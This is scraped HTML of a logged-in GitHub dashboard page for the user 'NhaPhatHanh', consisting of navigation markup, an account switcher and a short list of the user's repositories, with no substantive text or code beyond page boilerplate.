click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"NhaPhatHanh","originating_url":"https://github.com/","user_id":83227313}}" data-hydro-click-hmac="e59a001759ac502766a9a79710990f560ffbc26ec341d36fba1e1674a4ab880a" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/settings/profile"> Settings </a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/NhaPhatHanh"> <img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> NhaPhatHanh </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="/bvHCE5uPa671HZX0lHcfO5NQCGW65I5RiPW/FN+4TZY3UGvvrD3Ul2OVB9nrTCoXNAaoY0jT2eK9JRWIQ8zng==" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15 d-md-none btn-link d-block width-full text-left" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path></svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6ODMyMjczMTMiLCJ0IjoxNjE5NTk4OTc0fQ==--730e096ffe8d6c47126ebde7dcc46b346629b78d85c402370d95a91d6b54e5f8"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg class="octicon octicon-bell" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle"> <summary class="Header-link" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/new/project" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/NhaPhatHanh/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="feature-preview-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" src="/users/83227313/menu" preload> <include-fragment> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-text-primary" data-show-on-error> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <aside class="hide-xl hide-lg width-full color-bg-primary border-bottom py-3 p-responsive" aria-label="Account context"> <details class="details-reset details-overlay d-inline-block" id="details-59141b"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-59141b"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-59141b" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </aside> <div class="d-flex flex-wrap color-bg-canvas-inset" style="min-height: 100vh;"> <aside class="team-left-column col-12 col-md-4 col-lg-3 color-bg-primary border-right color-border-secondary border-bottom hide-md hide-sm" aria-label="Account"> <div class="dashboard-sidebar js-sticky top-0 px-3 px-md-4 px-lg-5 overflow-auto"> <div class="border-bottom color-border-secondary py-3 mt-3 mb-4"> <details class="details-reset details-overlay d-inline-block" id="details-e5dc02"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-e5dc02"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-e5dc02" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </div> <div class="mb-3 Details js-repos-container " data-repository-hovercards-enabled id="dashboard-repos-container" data-pjax-container role="navigation" aria-label="Repositories"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-left" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-left" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> <div class="js-repos-container user-repos mb-3" id="dashboard-user-teams" data-pjax-container> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </aside> <div class="col-12 col-md-8 col-lg-6 mt-3 px-3 px-lg-5 border-bottom d-flex flex-auto"> <div class="mx-auto d-flex flex-auto flex-column" style="max-width: 1400px"> <main class="flex-auto"> <div class="border rounded-1 shelf intro-shelf js-notice"> <div class="width-full container"> <div class="width-full mx-auto p-5 shelf-content"> <h2 class="shelf-title">Learn Git and GitHub without any code!</h2> <p class="shelf-lead"> Using the Hello World guide, you’ll create a repository, start a branch, write comments, and open a pull request. </p> 